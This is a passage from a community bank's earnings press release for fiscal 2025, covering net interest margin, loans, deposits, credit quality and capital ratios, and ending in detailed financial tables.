Return on average assets for the fiscal year ended March 31, 2025 increased to 0.32% compared to 0.24% for the fiscal year ended March 31, 2024.

Income Statement Review

Riverview’s net interest income was $9.2 million in the current quarter, compared to $9.4 million in the preceding quarter, and $8.6 million in the fourth fiscal quarter a year ago. The decrease compared to the preceding quarter was primarily due to the recognition of a loan prepayment fee and related loan fees totaling $318,000 during the preceding quarter. The increase compared to the year ago quarter was driven by higher interest earning asset yields due to higher origination rates on new loan growth as well as loan repricing. In fiscal 2025, net interest income was $36.3 million, compared to $38.1 million in fiscal 2024. The decrease is attributed to the increase in interest expense over the respective periods. Investment income decreased compared to the year ago period due to the strategic investment restructuring that was executed in the fourth quarter of fiscal 2024.

Riverview’s NIM was 2.65% for the fourth quarter of fiscal 2025, a five basis point increase compared to 2.60% in the preceding quarter and a 33 basis-point increase compared to 2.32% in the fourth quarter of fiscal 2024. “Our NIM improved during the quarter, compared to the preceding quarter, as the decrease in funding costs more than offset the modest decrease in asset yields. The preceding quarter’s loan yield included the favorable impact from the recognition of the previously mentioned loan prepayment fee and related loan fees,” said David Lam, EVP and Chief Financial Officer. “With the Federal Reserve rate reductions implemented near the end of 2024, we anticipate deposit costs to further stabilize in future quarters. Additionally, the rate cuts reduced the interest expense on borrowings, which also benefitted NIM during the fourth quarter.” In fiscal 2025, the net interest margin was 2.54% compared to 2.56% in fiscal 2024.

Investment securities decreased $14.7 million during the quarter to $322.5 million at March 31, 2025, compared to $337.2 million at December 31, 2024, and decreased $50.2 million compared to $372.7 million at March 31, 2024. The average securities balances for the quarters ended March 31, 2025, December 31, 2024, and March 31, 2024, were $346.0 million, $364.2 million, and $444.1 million, respectively. The weighted average yields on securities balances for those same periods were 1.84%, 1.82%, and 2.02%, respectively. The duration of the investment portfolio at March 31, 2025, was approximately 5.1 years. The anticipated investment cashflows over the next twelve months is approximately $37.4 million. There were no investment purchases during the fourth fiscal quarter of 2025.

Riverview’s yield on loans was 4.91% during the fourth fiscal quarter, compared to 4.97% in the preceding quarter, and 4.63% in the fourth fiscal quarter a year ago. “Loan yields declined during the current quarter compared to the prior quarter due to the impact on the loan yield in the prior quarter from the recognition of the loan prepayment and related loan fees. Compared to a year ago, loan yields have increased as a result of the current yield curve which has resulted in higher yields on loans when compared to the existing loan portfolio. We continue to explore opportunities to enhance our loan yield by expanding our commercial business portfolio offerings to include more variable rate loan structures,” said Mike Sventek, EVP and Chief Lending Officer. Deposit costs improved to 1.30% during the fourth fiscal quarter compared to 1.32% in the preceding quarter and increased compared to 1.00% in the fourth fiscal quarter a year ago. The increase from clients seeking higher deposit yields has moderated quarter over quarter compared to the increase from the fourth fiscal quarter a year ago given the relative change in the interest rate environment during those respective periods.

Non-interest income increased to $3.7 million during the fourth fiscal quarter of 2025 compared to $3.3 million in the preceding quarter and $494,000 in the fourth fiscal quarter of 2024. Non-interest income during the quarter included a $261,000 BOLI death benefit. The fourth fiscal quarter of 2024 included a $2.7 million loss on the sale of investment securities from the balance sheet restructure. In fiscal 2025, non-interest income increased to $14.3 million compared to $10.2 million in fiscal 2024.

Asset management fees were $1.5 million during the fourth fiscal quarter, compared to $1.4 million in both the third fiscal quarter and in the fourth fiscal quarter a year ago. Asset management fees from new client relationships more than offset a volatile market performance during the fourth fiscal quarter. Riverview Trust Company’s assets under management were $877.9 million at March 31, 2025, compared to $872.6 million at December 31, 2024, and $961.8 million at March 31, 2024.

Non-interest expense was $11.4 million during the fourth fiscal quarter, compared to $11.2 million in the preceding quarter and $13.1 million in the fourth fiscal quarter a year ago. Salary and employee benefits, the largest component of non-interest expense, increased during the current quarter compared to the preceding quarter due to open positions being filled. Professional fees increased during the current quarter compared to the preceding quarter due to higher consulting fees. The efficiency ratio was 88.7% for the fourth fiscal quarter, compared to 87.6% for the preceding quarter and 144.9% in the fourth fiscal quarter a year ago. In fiscal 2025, non-interest expense was $44.3 million compared to $43.7 million in fiscal 2024.

Riverview’s effective tax rate for the fourth fiscal quarter of 2025 was 21.5%, compared to 21.8% for the preceding quarter and (27.0)% for the year ago quarter.

Balance Sheet Review

Total loans increased $17.4 million during the quarter to $1.06 billion at March 31, 2025, compared to $1.05 billion three months earlier and increased $38.4 million compared to $1.02 billion a year earlier. Riverview’s loan pipeline was $41.1 million at March 31, 2025, compared to $49.1 million at the end of the preceding quarter and $18.4 million at March 31, 2024. New loan originations during the quarter increased to $49.4 million, compared to $31.1 million in the preceding quarter and $12.7 million in the fourth fiscal quarter a year ago.

Undisbursed construction loans totaled $18.2 million at March 31, 2025, compared to $19.5 million at December 31, 2024, with the majority of the undisbursed construction loans expected to be funded over the next several quarters. Undisbursed homeowner association loans for the purpose of common area maintenance and repairs totaled $18.3 million at March 31, 2025, compared to $14.5 million at December 31, 2024. Revolving commercial business loan commitments totaled $48.9 million at March 31, 2025, compared to $46.9 million at December 31, 2024. Utilization on these loans totaled 28.90% at March 31, 2025, compared to 17.60% at December 31, 2024. The weighted average rate on loan originations during the quarter was 7.16% compared to 7.04% in the preceding quarter. Loan repricing and maturities with respective weighted average rate for fiscal year 2026 totaled $76.6 million with a weighted average rate of 4.65%. Looking ahead, loan repricing and maturities for fiscal year 2027 total $77.1 million with a weighted average rate of 4.03%, for fiscal year 2028 total $96.2 million with a weighted average rate of 5.42% and in aggregate for fiscal years after 2028 total $108.3 million with a weighted average rate of 6.09%.

The office building loan portfolio totaled $110.9 million at March 31, 2025, compared to $113.4 million at December 31, 2024. The average loan balance of the office building loan portfolio was $1.5 million with an average loan-to-value ratio of 53.5% and an average debt service coverage ratio of 1.80x at March 31, 2025. Office building loans within the Portland core consist of two loans totaling $20.5 million which is approximately 18.5% of the total office building loan portfolio or 1.92% of total loans.

Non-interest checking and interest checking accounts, as a percentage of total deposits, totaled 48.7% at March 31, 2025, compared to 46.8% at December 31, 2024, and 51.9% at March 31, 2024. The increase during the quarter was in part due to Riverview Bank reciprocation of $20 million of balances back from Riverview Trust. Riverview Bank had moved customer deposits to Riverview Trust as a higher yielding deposit alternative and those assets were all retained within the Company during the period of increasing interest rates. CDs decreased during the quarter as Riverview allowed higher cost CDs to run off. Total deposits increased $13.3 million during the quarter to $1.23 billion at March 31, 2025, compared to $1.22 billion at December 31, 2024, and were unchanged compared to a year ago.

FHLB advances decreased $7.8 million during the quarter to $76.4 million at March 31, 2025, compared to $84.2 million at December 31, 2024. FHLB advances decreased during the quarter as a result of the increase in deposits.

Shareholders’ equity increased to $160.0 million at March 31, 2025, compared to $158.3 million three months earlier and $155.6 million one year earlier. Tangible book value per share (non-GAAP) increased to $6.33 at March 31, 2025, compared to $6.20 at December 31, 2024, and $6.07 at March 31, 2024. Riverview paid a quarterly cash dividend of $0.02 per share on April 25, 2025, to shareholders of record on April 14, 2025.

Credit Quality

“Asset quality remains a priority during uncertain economic conditions, and we continue to closely monitor our portfolio mix, loan growth, and local and national conditions to maintain an appropriate allowance,” said Robert Benke, EVP and Chief Credit Officer. Non-performing loans, excluding SBA and USDA government guaranteed loans (“government guaranteed loans”) (non-GAAP) totaled $155,000 or 0.01% of total loans as of March 31, 2025, compared to $168,000, or 0.02% of total loans at December 31, 2024, and $173,000, or 0.02% of total loans at March 31, 2024. There were no non-performing government guaranteed loans at March 31, 2025, and one non-performing government guaranteed loan totaling $301,000 at December 31, 2024. At March 31, 2025, non-performing assets were $155,000, or 0.01% of total assets.

Riverview recorded $22,000 in net loan recoveries for the current quarter. This compared to $114,000 in net loan charge-offs for the preceding quarter. Riverview recorded no provision for credit losses for the current quarter, or for the preceding quarter.

Classified assets were $2.9 million at March 31, 2025, compared to $226,000 at December 31, 2024, and $723,000 at March 31, 2024. The classified assets to total capital ratio was 1.6% at March 31, 2025, compared to 0.1% at December 31, 2024, and 0.4% a year earlier. The increase in classified assets during the quarter was primarily due to one $2.0 million loan for which a plan is in place to either return to performing status or payoff. Additionally, there was a borrowing relationship with two loans totaling $725,000 that credit administration is working with the borrower to bring current or seek full payoff. Criticized assets were $48.5 million at March 31 2024, compared to $50.4 million at December 31, 2024, and $36.7 million at March 31, 2024. Criticized assets decreased during the current quarter compared to the prior quarter as a result of one loan payoff. The increase compared to a year ago was primarily due to one relationship that was moved to the criticized asset category as the loans go through probate. The Company does not anticipate any loss from this relationship.

The allowance for credit losses was $15.4 million at March 31, 2025, December 31, 2024, and March 31, 2024, respectively. The allowance for credit losses represented 1.45% of total loans at March 31, 2025, compared to 1.47% at December 31, 2024, and 1.50% a year earlier. The allowance for credit losses to loans, net of government guaranteed loans (non-GAAP), was 1.51% at March 31, 2025, compared to 1.54% at December 31, 2024, and 1.58% a year earlier.

Capital/Liquidity

Riverview continues to maintain capital levels well in excess of the regulatory requirements to be categorized as “well capitalized” with a total risk-based capital ratio of 16.27% and a Tier 1 leverage ratio of 11.10% at March 31, 2025. Tangible common equity to average tangible assets ratio (non-GAAP) was 8.93% at March 31, 2025.

Riverview has approximately $471.3 million in available liquidity at March 31, 2025, including $174.0 million of borrowing capacity from the FHLB and $297.3 million from the Federal Reserve Bank of San Francisco (“FRB”). At March 31, 2025, the Bank had $76.4 million in outstanding FHLB borrowings.

The uninsured deposit ratio was 23.4% at March 31, 2025. Available liquidity under the FRB borrowing line would cover nearly 100% of the estimated uninsured deposits and available liquidity under both the FHLB and FRB borrowing lines would cover 163.7% of the estimated uninsured deposits.

On September 25, 2024, the Company’s Board of Directors adopted a stock repurchase program. Under this repurchase program, the Company may repurchase up to $2.0 million of the Company’s outstanding shares of common stock, in the open market, based on prevailing market prices, or in privately negotiated transactions. Once the repurchase program is effective, the repurchase program will continue until the earlier of the completion of the repurchase or 12 months after the effective date, depending upon market conditions. During the fiscal fourth quarter, the Company repurchased 158,558 shares of common stock at an average price of $5.65. As of February 2, 2025, the Company had completed the full $2.0 million stock repurchase plan, repurchasing 358,631 shares at an average price of $5.53 per share.

Non-GAAP Financial Measures

In addition to results presented in accordance with generally accepted accounting principles (“GAAP”), this press release contains certain non-GAAP financial measures. Management has presented these non-GAAP financial measures in this earnings release because it believes that they provide useful and comparative information to assess trends in Riverview’s core operations reflected in the current quarter’s results and facilitate the comparison of our performance with the performance of our peers. However, these non-GAAP financial measures are supplemental and are not a substitute for any analysis based on GAAP. Where applicable, comparable earnings information using GAAP financial measures is also presented. Because not all companies use the same calculations, our presentation may not be comparable to other similarly titled measures as calculated by other companies. For a reconciliation of these non-GAAP financial measures, see the tables below.

Tangible shareholders’ equity to tangible assets and tangible book value per share:

(Dollars in thousands)	March 31, 2025			December 31, 2024			March 31, 2024

Shareholders’ equity (GAAP)	$	160,014		$	158,270		$	155,588
Exclude: Goodwill		(27,076	)		(27,076	)		(27,076	)
Exclude: Core deposit intangible, net		(171	)		(196	)		(271	)
Tangible shareholders’ equity (non-GAAP)	$	132,767		$	130,998		$	128,241

Total assets (GAAP)	$	1,513,323		$	1,508,609		$	1,521,529
Exclude: Goodwill		(27,076	)		(27,076	)		(27,076	)
Exclude: Core deposit intangible, net		(171	)		(196	)		(271	)
Tangible assets (non-GAAP)	$	1,486,076		$	1,481,337		$	1,494,182

Shareholders’ equity to total assets (GAAP)		10.57	%		10.49	%		10.23	%

Tangible common equity to tangible assets (non-GAAP)		8.93	%		8.84	%		8.58	%

Shares outstanding		20,976,200			21,134,758			21,111,043

Book value per share (GAAP)		7.63			7.49			7.37

Tangible book value per share (non-GAAP)		6.33			6.20			6.07


Pre-tax, pre-provision income
	Three Months Ended									Twelve Months Ended
(Dollars in thousands)	March 31, 2025			December 31, 2024			March 31, 2024			March 31, 2025		March 31, 2024

Net income (loss) (GAAP)	$	1,148		$	1,232		$	(2,968	)	$	4,903	$	3,799
Include: Provision (credit) for income taxes		314			343			(1,095	)		1,335		802
Include: Provision for credit losses		–			–			–			100		–
Pre-tax, pre-provision income (loss) (non-GAAP)	$	1,462		$	1,575		$	(4,063	)	$	6,338	$	4,601


Net income (loss) and earnings (loss) per share excluding securities restructure and litigation expense

	Three Months Ended									Twelve Months Ended
(Dollars in thousands)	March 31, 2025			December 31, 2024			March 31, 2024			March 31, 2025		March 31, 2024

Net income (loss) (GAAP)	$	1,148		$	1,232		$	(2,968	)	$	4,903	$	3,799
Exclude impact of securities loss restructure, net of tax		–			–			2,074			–		2,074
Exclude impact of litigation expense, net of tax		–			–			1,748			–		1,748
Net income excluding securities restructure and litigation expense (non-GAAP)	$	1,148		$	1,232		$	854		$	4,903	$	7,621

Basic earnings (loss) per share (GAAP)	$	0.05		$	0.06		$	(0.14	)	$	0.23	$	0.18
Exclude impact of securities loss restructure, net of tax		–			–			0.10			–		0.10
Exclude impact of litigation expense, net of tax		–			–			0.08			–		0.08
Basic earnings per share excluding securities restructure and litigation expense (GAAP)	$	0.05		$	0.06		$	0.04		$	0.23	$	0.36

Diluted earnings (loss) per share (GAAP)	$	0.05		$	0.06		$	(0.14	)	$	0.23	$	0.18
Exclude impact of securities loss restructure, net of tax		–			–			0.10			–		0.10
Exclude impact of litigation expense, net of tax		–			–			0.08			–		0.08
Diluted earnings per share excluding securities restructure and litigation expense (GAAP)	$	0.05		$	0.06		$	0.04		$	0.23	$	0.36


Allowance for credit losses reconciliation, excluding Government Guaranteed loans

(Dollars in thousands)	March 31, 2025			December 31, 2024			March 31, 2024

Allowance for credit losses	$	15,374		$	15,352		$	15,364

Loans receivable (GAAP)	$	1,062,460		$	1,045,109		$	1,024,013
Exclude: Government Guaranteed loans		(47,373	)		(49,024	)		(51,013	)
Loans receivable excluding Government Guaranteed loans (non-GAAP)	$	1,015,087		$	996,085		$	973,000

Allowance for credit losses to loans receivable (GAAP)		1.45	%		1.47	%		1.50	%

Allowance for credit losses to loans receivable excluding Government Guaranteed loans (non-GAAP)		1.51	%		1.54	%		1.58	%


Non-performing loans reconciliation, excluding Government Guaranteed Loans

	Three Months Ended
(Dollars in thousands)	March 31, 2025			December 31, 2024			March 31, 2024

Non-performing loans (GAAP)	$	155		$	469		$	178
Less: Non-performing Government Guaranteed loans		–			(301	)		(5	)
Adjusted non-performing loans excluding Government Guaranteed loans (non-GAAP)	$	155		$	168		$	173

Non-performing loans to total loans (GAAP)		0.01	%		0.04	%		0.02	%

Non-performing loans, excluding Government Guaranteed loans to total loans (non-GAAP)		0.01	%		0.02	%		0.02	%

Non-performing loans to total assets (GAAP)		0.01	%		0.03	%		0.01	%

Non-performing loans, excluding Government Guaranteed loans to total assets (non-GAAP)		0.01	%		0.01	%		0.01	%

About Riverview

Riverview Bancorp, Inc. (www.riverviewbank.com) is headquartered in Vancouver, Washington – just north of Portland, Oregon, on the I-5 corridor. With assets of $1.51 billion at March 31, 2025, it is the parent company of Riverview Bank, as well as Riverview Trust Company. The Bank offers true community banking services, focusing on providing the highest quality service and financial products to commercial, business and retail clients through 17 branches, including 13 in the Portland-Vancouver area, and 3 lending centers. For the past 11 years, Riverview has been named Best Bank by the readers of The Vancouver Business Journal and The Columbian.

“Safe Harbor” statement under the Private Securities Litigation Reform Act of 1995: This press release contains forward-looking statements which include statements with respect to our beliefs, plans, objectives, goals, expectations, assumptions, future economic performance and projections of financial items. These forward-looking statements are subject to known and unknown risks, uncertainties and other factors that could cause actual results to differ materially from the results anticipated or implied by our forward-looking statements, including, but not limited to: potential adverse impacts to economic conditions in our local market areas, other markets where the Company has lending relationships, or other aspects of the Company’s business operations or financial markets, including, without limitation, as a result of employment levels, labor shortages and the effects of inflation, a potential recession, the failure of the U.S. Congress to increase the debt ceiling, or slowed economic growth caused by increasing political instability from acts of war including Russia’s invasion of Ukraine, as well as supply chain disruptions, recent bank failures and any governmental or societal responses thereto; the credit risks of lending activities, including changes in the level and trend of loan delinquencies and write-offs and changes in the Company’s allowance for credit losses and provision for credit losses that may be impacted by deterioration in the housing and commercial real estate markets; changes in the levels of general interest rates, and the relative differences between short and long-term interest rates, deposit interest rates, the Company’s net interest margin and funding sources; the transition away from London Interbank Offered Rate toward new interest rate benchmarks; fluctuations in the demand for loans, the number of unsold homes, land and other properties and fluctuations in real estate values in the Company’s market areas; secondary market conditions for loans and the Company’s ability to originate loans for sale and sell loans in the secondary market; results of examinations of the Bank by the Federal Deposit Insurance Corporation and the Washington State Department of Financial Institutions, Division of Banks, and of the Company by the Board of Governors of the Federal Reserve System, or other regulatory authorities, including the possibility that any such regulatory authority may, among other things, require the Company to increase its allowance for credit losses, write-down assets, reclassify its assets, change the Bank’s regulatory capital position or affect the Company’s ability to borrow funds or maintain or increase deposits, which could adversely affect its liquidity and earnings; legislative or regulatory changes that adversely affect the Company’s business including changes in banking, securities and tax law, and in regulatory policies and principles, or the interpretation of regulatory capital or other rules; the Company’s ability to attract and retain deposits; the unexpected outflow of uninsured deposits that may require us to sell investment securities at a loss; the Company’s ability to control operating costs and expenses; the use of estimates in determining fair value of certain of the Company’s assets, which estimates may prove to be incorrect and result in significant declines in valuation; difficulties in reducing risks associated with the loans on the Company’s consolidated balance sheet; staffing fluctuations in response to product demand or the implementation of corporate strategies that affect the Company’s workforce and potential associated charges; disruptions, security breaches or other adverse events, failures or interruptions in or attacks on our information technology systems or on the third-party vendors who perform several of our critical processing functions; the Company’s ability to retain key members of its senior management team; costs and effects of litigation, including settlements and judgments; the Company’s ability to implement its business strategies; the Company’s ability to successfully integrate any assets, liabilities, customers, systems, and management personnel it may acquire into its operations and the Company’s ability to realize related revenue synergies and cost savings within expected time frames; future goodwill impairment due to changes in Riverview’s business, changes in market conditions, or other factors; increased competitive pressures among financial services companies; changes in consumer spending, borrowing and savings habits; the availability of resources to address changes in laws, rules, or regulations or to respond to regulatory actions; the Company’s ability to pay dividends on its common stock; the quality and composition of our securities portfolio and the impact of and adverse changes in the securities markets, including market liquidity; inability of key third-party providers to perform their obligations to us; changes in accounting policies and practices, as may be adopted by the financial institution regulatory agencies or the Financial Accounting Standards Board, including additional guidance and interpretation on accounting issues and details of the implementation of new accounting standards; the effects of climate change, severe weather events, natural disasters, pandemics, epidemics and other public health crises, acts of war or terrorism, and other external events on our business; and other economic, competitive, governmental, regulatory, and technological factors affecting the Company’s operations, pricing, products and services, and the other risks described from time to time in our reports filed with and furnished to the U.S. Securities and Exchange Commission.

The Company cautions readers not to place undue reliance on any forward-looking statements. Moreover, you should treat these statements as speaking only as of the date they are made and based only on information then actually known to the Company. The Company does not undertake and specifically disclaims any obligation to revise any forward-looking statements included in this report or the reasons why actual results could differ from those contained in such statements, whether as a result of new information or to reflect the occurrence of anticipated or unanticipated events or circumstances after the date of such statements. These risks could cause our actual results for fiscal 2025 and beyond to differ materially from those expressed in any forward-looking statements by, or on behalf of, us and could negatively affect the Company’s consolidated financial condition and consolidated results of operations as well as its stock price performance.

RIVERVIEW BANCORP, INC. AND SUBSIDIARY
Consolidated Balance Sheets


(In thousands, except share data) (Unaudited)	March 31, 2025			December 31, 2024			March 31, 2024
ASSETS

Cash (including interest-earning accounts of $14,375, $12,573,	$	29,414		$	25,348		$	23,642
and $12,164)
Investment securities:
Available for sale, at estimated fair value		119,436			124,874			143,196
Held to maturity, at amortized cost		203,079			212,295			229,510
Loans receivable (net of allowance for credit losses of $15,374,
$15,352 and $15,364)		1,047,086			1,029,757			1,008,649
Prepaid expenses and other assets		12,523			12,945			14,469
Accrued interest receivable		4,525			4,639			4,415
Federal Home Loan Bank stock, at cost		4,342			4,742			4,927
Premises and equipment, net		22,304			22,731			21,718
Financing lease right-of-use assets		1,125			1,144			1,202
Deferred income taxes, net		8,625			9,471			9,778
Goodwill		27,076			27,076			27,076
Core deposit intangible, net		171			196			271
Bank owned life insurance		33,617			33,391			32,676

TOTAL ASSETS	$	1,513,323		$	1,508,609		$	1,521,529

LIABILITIES AND SHAREHOLDERS’ EQUITY

LIABILITIES:
Deposits	$	1,232,328		$	1,219,002		$	1,231,679
Accrued expenses and other liabilities		14,777			17,634			16,205
Advance payments by borrowers for taxes and insurance		614			317			581
Junior subordinated debentures		27,091			27,069			27,004
Federal Home Loan Bank advances		76,400			84,200			88,304
Finance lease liability		2,099			2,117			2,168
Total liabilities		1,353,309			1,350,339			1,365,941

SHAREHOLDERS’ EQUITY:
Serial preferred stock, $.01 par value; 250,000 authorized,
issued and outstanding, none		–			–			–
Common stock, $.01 par value; 50,000,000 authorized,
March 31, 2025 – 20,976,200 issued and outstanding;
December 31, 2024 – 21,134,758 issued and outstanding;		208			209			211
March 31, 2024 – 21,111,043 issued and outstanding;
Additional paid-in capital		53,392			54,227			55,005
Retained earnings		119,717			118,988			116,499
Accumulated other comprehensive loss		(13,303	)		(15,154	)		(16,127	)
Total shareholders’ equity		160,014			158,270			155,588

TOTAL LIABILITIES AND SHAREHOLDERS’ EQUITY	$	1,513,323		$	1,508,609		$	1,521,529

RIVERVIEW BANCORP, INC. AND SUBSIDIARY
Consolidated Statements of Income
	Three Months Ended							Twelve Months Ended
(In thousands, except share data) (Unaudited)	March 31, 2025		Dec. 31, 2024		March 31, 2024			March 31, 2025		March 31, 2024
INTEREST INCOME:
Interest and fees on loans receivable	$	12,685	$	13,201	$	11,743		$	50,621	$	46,031
Interest on investment securities – taxable		1,484		1,589		2,145			6,918		8,971
Interest on investment securities – nontaxable		64		65		65			260		261
Other interest and dividends		261		272		338			1,163		1,292
Total interest and dividend income		14,494		15,127		14,291			58,962		56,555

INTEREST EXPENSE:
Interest on deposits		3,910		4,101		3,021			15,313		8,285
Interest on borrowings		1,391		1,638		2,718			7,305		10,184
Total interest expense		5,301		5,739		5,739			22,618		18,469
Net interest income		9,193		9,388		8,552			36,344		38,086
Provision for credit losses		–		–		–			100		–

Net interest income after provision for credit losses		9,193		9,388		8,552			36,244		38,086

NON-INTEREST INCOME:
Fees and service charges		1,446		1,492		1,398			6,002		6,269
Asset management fees		1,472		1,443		1,408			5,906		5,328
Bank owned life insurance (“BOLI”)		226		225		222			941		891
BOLI death benefit in excess of cash surrender value		261		–		–			261		–
Loss on sale of investment securities		–		–		(2,729	)		–		(2,729	)
Other, net		302		181		195			1,146		483
Total non-interest income, net		3,707		3,341		494			14,256		10,242

NON-INTEREST EXPENSE:
Salaries and employee benefits		6,763		6,471		6,225			26,099		24,204
Occupancy and depreciation		1,873		1,871		1,942			7,560		6,872
Data processing		746		743		686			2,948		2,782
Amortization of core deposit intangible		25		25		27			100		108
Advertising and marketing		284		317		326			1,278		1,276
FDIC insurance premium		170		174		178			688		708
State and local taxes		265		327		196			1,042		1,010
Telecommunications		62		54		50			215		211
Professional fees		577		429		414			1,800		1,375
Other		673		743		3,065			2,532		5,181
Total non-interest expense		11,438		11,154		13,109			44,262		43,727

INCOME (LOSS) BEFORE INCOME TAXES		1,462		1,575		(4,063	)		6,238		4,601
PROVISION (CREDIT) FOR INCOME TAXES		314		343		(1,095	)		1,335		802
NET INCOME (LOSS)	$	1,148	$	1,232	$	(2,968	)	$	4,903	$	3,799

Earnings (loss) per common share:
Basic	$	0.05	$	0.06	$	(0.14	)	$	0.23	$	0.18
Diluted	$	0.05	$	0.06	$	(0.14	)	$	0.23	$	0.18
Weighted average number of common shares outstanding:
Basic		21,007,294		21,037,246		21,111,043			21,063,467		21,137,976
Diluted		21,007,294		21,037,246		21,111,043			21,063,467		21,139,322


(Dollars in thousands)	At or for the three months ended									At or for the twelve months ended
	March 31, 2025			Dec. 31, 2024			March 31, 2024			March 31, 2025		March 31, 2024
AVERAGE BALANCES
Average interest–earning assets	$	1,412,406		$	1,436,130		$	1,484,628		$	1,433,071	$	1,492,002
Average interest-bearing liabilities		1,011,116			1,019,265			1,047,712			1,010,592		1,028,042
Net average earning assets		401,290			416,865			436,916			422,479		463,960
Average loans		1,047,718			1,053,342			1,020,457			1,044,370		1,011,420
Average deposits		1,219,130			1,232,450			1,210,818			1,220,120		1,229,011
Average equity		159,766			160,532			158,776			158,570		156,137
Average tangible equity (non-GAAP)		132,506			133,245			131,413			131,271		128,733


ASSET QUALITY	March 31, 2025			Dec. 31, 2024			March 31, 2024

Non-performing loans	$	155		$	469		$	178
Non-performing loans excluding SBA Government Guarantee (non-GAAP)		155			168			173
Non-performing loans to total loans		0.01	%		0.04	%		0.02	%
Non-performing loans to total loans excluding SBA Government Guarantee (non-GAAP)		0.01	%		0.02	%		0.02	%
Real estate/repossessed assets owned	$	–		$	–		$	–
Non-performing assets	$	155		$	469		$	178
Non-performing assets excluding SBA Government Guarantee (non-GAAP)		155			168			173
Non-performing assets to total assets		0.01	%		0.03	%		0.01	%
Non-performing assets to total assets excluding SBA Government Guarantee (non-GAAP)		0.01	%		0.01	%		0.01	%
Net loan charge-offs (recoveries) in the quarter	$	(22	)	$	114		$	(3	)
Net charge-offs (recoveries) in the quarter/average net loans		(0.01	)%		0.04	%		0.00	%

Allowance for credit losses	$	15,374		$	15,352		$	15,364
Average interest-earning assets to average
interest-bearing liabilities		139.69	%		140.90	%		141.70	%
Allowance for credit losses to
non-performing loans		9918.71	%		3273.35	%		8631.46	%
Allowance for credit losses to total loans		1.45	%		1.47	%		1.50	%
Shareholders’ equity to assets		10.57	%		10.49	%		10.23	%


CAPITAL RATIOS
Total capital (to risk weighted assets)		16.27	%		16.47	%		16.32	%
Tier 1 capital (to risk weighted assets)		15.01	%		15.21	%		15.06	%
Common equity tier 1 (to risk weighted assets)		15.01	%		15.21	%		15.06	%
Tier 1 capital (to average tangible assets)		11.10	%		10.86	%		10.29	%
Tangible common equity (to average tangible assets) (non-GAAP)		8.93	%		8.84	%		8.58	%


DEPOSIT MIX	March 31, 2025			Dec. 31, 2024			March 31, 2024

Interest checking	$	285,035		$	257,975		$	289,824
Regular savings		168,287			169,181			192,638
Money market deposit accounts		236,044			236,912			209,164
Non-interest checking		315,503			312,839			349,081
Certificates of deposit		227,459			242,095			190,972
Total deposits	$	1,232,328		$	1,219,002		$	1,231,679


COMPOSITION OF COMMERCIAL AND CONSTRUCTION LOANS

			Other				Commercial
	Commercial		Real Estate		Real Estate		& Construction
	Business		Mortgage		Construction		Total
March 31, 2025	(Dollars in thousands)
Commercial business	$	232,935	$	–	$	–	$	232,935
Commercial construction		–		–		18,368		18,368
Office buildings		–		110,949		–		110,949
Warehouse/industrial		–		114,925		–		114,925
Retail/shopping centers/strip malls		–		88,815		–		88,815
Assisted living facilities		–		358		–		358
Single purpose facilities		–		277,137		–		277,137
Land		–		4,610		–		4,610
Multi-family		–		91,452		–		91,452
One-to-four family construction		–		–		10,814		10,814
Total	$	232,935	$	688,246	$	29,182	$	950,363

March 31, 2024	(Dollars in thousands)
Commercial business	$	229,404	$	–	$	–	$	229,404
Commercial construction		–		–		20,388		20,388
Office buildings		–		114,714		–		114,714
Warehouse/industrial		–		106,649		–		106,649
Retail/shopping centers/strip malls		–		89,448		–		89,448
Assisted living facilities		–		378		–		378
Single purpose facilities		–		272,313		–		272,313
Land		–		5,692		–		5,692
Multi-family		–		70,771		–		70,771
One-to-four family construction		–		–		16,150		16,150
Total	$	229,404	$	659,965	$	36,538	$	925,907




LOAN MIX	March 31, 2025		Dec. 31, 2024		March 31, 2024
Commercial and construction	(Dollars in thousands)
Commercial business	$	232,935	$	224,506	$	229,404
Other real estate mortgage		688,246		657,380		659,965
Real estate construction		29,182		49,956		36,538
Total commercial and construction		950,363		931,842		925,907
Consumer
Real estate one-to-four family		97,683		97,760		96,366
Other installment		14,414		15,507		1,740
Total consumer		112,097		113,267		98,106

Total loans		1,062,460		1,045,109		1,024,013

Less:
Allowance for credit losses		15,374		15,352		15,364
Loans receivable, net	$	1,047,086	$	1,029,757	$	1,008,649


DETAIL OF NON-PERFORMING ASSETS
	Southwest
	Washington		Total
March 31, 2025	(Dollars in thousands)
Commercial business	$	37	$	37
Commercial real estate		88		88
Consumer		30		30
Total non-performing assets	$	155	$	155


	At or for the three months ended									At or for the twelve months ended
SELECTED OPERATING DATA	March 31, 2025			Dec. 31, 2024			March 31, 2024			March 31, 2025			March 31, 2024

Efficiency ratio (4)		88.67	%		87.63	%		144.91	%		87.47	%		90.48	%
Coverage ratio (6)		80.37	%		84.17	%		65.24	%		82.11	%		87.10	%
Return on average assets (1)		0.31	%		0.32	%		(0.76	)%		0.32	%		0.24	%
Return on average equity (1)		2.91	%		3.04	%		(7.52	)%		3.09	%		2.43	%
Return on average tangible equity (1) (non-GAAP)		3.51	%		3.67	%		(9.08	)%		3.74	%		2.95	%

NET INTEREST SPREAD
Yield on loans		4.91	%		4.97	%		4.63	%		4.85	%		4.55	%
Yield on investment securities		1.84	%		1.82	%		2.02	%		1.96	%		2.02	%
Total yield on interest-earning assets		4.17	%		4.18	%		3.88	%		4.12	%		3.80	%

Cost of interest-bearing deposits		1.76	%		1.81	%		1.41	%		1.74	%		0.97	%
Cost of FHLB advances and other borrowings		5.21	%		5.43	%		5.87	%		5.70	%		5.80	%
Total cost of interest-bearing liabilities		2.13	%		2.23	%		2.20	%		2.24	%		1.80	%

Spread (7)		2.04	%		1.95	%		1.68	%		1.88	%		2.00	%
Net interest margin		2.65	%		2.60	%		2.32	%		2.54	%		2.56	%

PER SHARE DATA
Basic earnings (loss) per share (2)	$	0.05		$	0.06		$	(0.14	)	$	0.23		$	0.18
Diluted earnings (loss) per share (3)		0.05			0.06			(0.14	)		0.23			0.18
Book value per share (5)		7.63			7.49			7.37			7.63			7.37
Tangible book value per share (5) (non-GAAP)		6.33			6.20			6.07			6.33			6.07
Market price per share:
High for the period	$	5.75		$	5.88		$	6.40		$	5.88		$	6.48
Low for the period		5.08			4.59			4.53			3.64			4.17
Close for period end		5.65			5.74			4.72			5.65			4.72
Cash dividends declared per share		0.0200			0.0200			0.0600			0.0800			0.2400

Average number of shares outstanding:
Basic (2)		21,007,294			21,037,246			21,111,043			21,063,467			21,137,976
Diluted (3)		21,007,294			21,037,246			21,111,043			21,063,467			21,139,322

(1) Amounts for the periods shown are annualized.
(2) Amounts exclude ESOP shares not committed to be released.
